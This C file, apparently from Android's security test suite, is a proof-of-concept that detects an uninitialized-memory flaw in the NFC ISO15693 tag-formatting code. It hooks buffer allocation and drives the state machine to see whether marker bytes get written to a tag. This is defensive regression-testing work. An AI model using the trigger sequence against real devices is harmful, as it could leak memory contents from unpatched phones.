• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /*
2  * Copyright (C) 2020 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "../includes/common.h"
18 #include "../includes/memutils.h"
19 #include <stdlib.h>
20 
21 char enable_selective_overload = ENABLE_NONE;
22 bool kIsVulnerable = false;
23 
24 // This PoC is only for 64-bit builds
25 #if _64_BIT
26 #include <dlfcn.h>
27 #include <nfc_api.h>
28 #include <nfc_int.h>
29 #include <rw_int.h>
30 #include <tags_defs.h>
31 #define DEFAULT_VALUE 0xBE
32 #define RW_I93_FORMAT_DATA_LEN 8
33 
34 // borrowed from rw_i93.cc
35 extern tRW_CB rw_cb;
36 extern tNFC_CB nfc_cb;
37 void rw_init(void);
38 tNFC_STATUS rw_i93_select(uint8_t *p_uid);
39 
40 bool kIsInitialized = false;
41 void *kVulnPtr = nullptr;
42 uint16_t kVulnSize = 0;
43 
44 // borrowed from rw_i93.cc
45 enum {
46   RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
47   RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
48   RW_I93_STATE_BUSY,          /* waiting for response from tag        */
49 
50   RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
51   RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
52   RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
53   RW_I93_STATE_FORMAT,        /* performing format procedure          */
54   RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
55 
56   RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
57 };
58 
59 // borrowed from rw_i93.cc
60 enum {
61   RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
62   RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
63   RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
64   RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
65   RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
66 
67   RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
68   RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
69   RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
70 
71   RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
72   RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
73   RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
74                                       */
75 
76   RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
77   RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
78   RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
79 };
80 
81 static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
82     uint16_t block_number, uint8_t *p_data) = nullptr;
83 
84 static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
85 static void (*real_GKI_freebuf)(void *ptr) = nullptr;
86 
init(void)87 void init(void) {
88   real_rw_i93_send_cmd_write_single_block =
89       (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
90           RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
91   if (!real_rw_i93_send_cmd_write_single_block) {
92     return;
93   }
94 
95   real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
96   if (!real_GKI_getbuf) {
97     return;
98   }
99 
100   real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
101   if (!real_GKI_freebuf) {
102     return;
103   }
104 
105   kIsInitialized = true;
106 }
107 
GKI_getbuf(uint16_t size)108 void *GKI_getbuf(uint16_t size) {
109   if (!kIsInitialized) {
110     init();
111   }
112   void *ptr = nullptr;
113   if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
114     ptr = malloc(size);
115     memset(ptr, DEFAULT_VALUE, size);
116     kVulnPtr = ptr;
117     kVulnSize = size;
118   } else {
119     ptr = real_GKI_getbuf(size);
120   }
121   return ptr;
122 }
123 
GKI_freebuf(void * ptr)124 void GKI_freebuf(void *ptr) {
125   if (!kIsInitialized) {
126     init();
127   }
128   if (ptr == kVulnPtr) {
129     free(ptr);
130   } else {
131     real_GKI_freebuf(ptr);
132   }
133 }
134 
rw_i93_send_cmd_write_single_block(uint16_t block_number,uint8_t * p_data)135 size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
136                                           uint8_t *p_data) {
137   if (!kIsInitialized) {
138     init();
139   }
140   if (p_data == kVulnPtr) {
141     for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
142       if (p_data[n] == DEFAULT_VALUE) {
143         kIsVulnerable = true;
144         break;
145       }
146     }
147   }
148   return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
149 }
150 
151 #endif /* _64_BIT */
152 
main()153 int main() {
154 // This PoC is only for 64-bit builds
155 #if _64_BIT
156   enable_selective_overload = ENABLE_ALL;
157   tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
158 
159   GKI_init();
160   rw_init();
161 
162   uint8_t p_uid = 1;
163   if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
164     return EXIT_FAILURE;
165   }
166 
167   tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
168   tNFC_CONN_EVT event = NFC_DATA_CEVT;
169   p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
170 
171   tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
172   if (!p_data) {
173     return EXIT_FAILURE;
174   }
175 
176   p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
177   if (!(p_data->data.p_data)) {
178     free(p_data);
179     return EXIT_FAILURE;
180   }
181 
182   (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
183   p_i93->state = RW_I93_STATE_FORMAT;
184   p_i93->block_size = 7;
185   p_data->status = NFC_STATUS_OK;
186 
187   p_cb->p_cback(0, event, p_data);
188 
189   free(p_data);
190   enable_selective_overload = ENABLE_NONE;
191 #endif /* _64_BIT */
192   return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
193 }
194